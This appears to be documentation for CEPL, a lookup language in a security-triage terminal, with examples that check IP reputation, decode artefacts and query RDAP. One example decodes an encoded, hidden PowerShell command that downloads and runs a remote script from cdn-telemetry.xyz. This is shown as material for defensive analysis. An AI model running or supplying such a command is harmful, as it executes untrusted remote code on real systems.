CEPLDocs Ceplin

CEPL documentation

CEPL, the Ceplin Enrichment Pipeline Language, is the language of Ceplin, a terminal for security triage. You write an artefact, such as an IP address, a domain, a URL, a file hash or an encoded command, and then the lookups you want on it. Ceplin checks each line against the types its verbs take, and counts the API calls it will make, before it looks anything up.

CEPL
>>> "cdn-telemetry.xyz".urlscan()[ip]{ abuseipdb()[score], asn()[as_name], rdap()[net_name] }
[OK] Multi Report Expression on 45.9.148.112
    abuseipdb[score]: 100
    asn[as_name]:     IPVOLUME, NL
    rdap[net_name]:   IPV-NET

This line scans the domain with urlscan.io, takes the IP address the page was served from, and looks that address up in AbuseIPDB, Team Cymru and RDAP. The same line run again makes the same lookups.

#Main ideas

Types

Each artefact has a type, recognised from its value. Each verb lists the types it takes. A line that passes the wrong type is refused before any lookup.

Cost

Ceplin counts a line's API calls before it runs. A line over your limit stops and asks first. .cost() gives the count without running the line.

No guessing

CEPL does not pick a value for you. A line either does what it says or is refused, and the error message gives the line to write instead.

Reuse

Blocks run several lookups at once. Filters, sorts and groups narrow the results. A chain you use often can be saved as your own verb.

#Examples

An artefact is written in quotes. Each step takes the result of the step before it, and [field] passes one field of a result to the next step.

CEPL
>>> "185.215.113.66".abuseipdb()[score]
[OK] IP reputation [score] on 185.215.113.66 via AbuseIPDB
    100

>>> "powershell -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYwBkAG4ALQB0AGUAbABlAG0AZQB0AHIAeQAuAHgAeQB6AC8AdwBpAG4ALwB1AHAAZABhAHQAZQAuAHAAcwAxACcAKQA=".decode(auto)[url]
[OK] Decode [url] on powershell -nop -w hidden -enc SQBFAF...ACcAKQA=
    http://cdn-telemetry.xyz/win/update.ps1

>>> "secure-login-paypa1.com".rdap()[age, registrar]
[OK] WHOIS / RDAP [age, registrar] on secure-login-paypa1.com via RDAP
    age:       ● 113.7
    registrar: NameSilo, LLC

Mistakes are caught before any API call, and the message says what to write:

CEPL
>>> "185.215.113.66".abuseipdb().geo()
[ER] abuseipdb() gives a report, and geo() takes ip: to run both on the same ip, write .{ abuseipdb(), geo() }

>>> "198.51.100.0/24".geo()
[ER] geo cannot accept cidr (accepts ip)

#Contents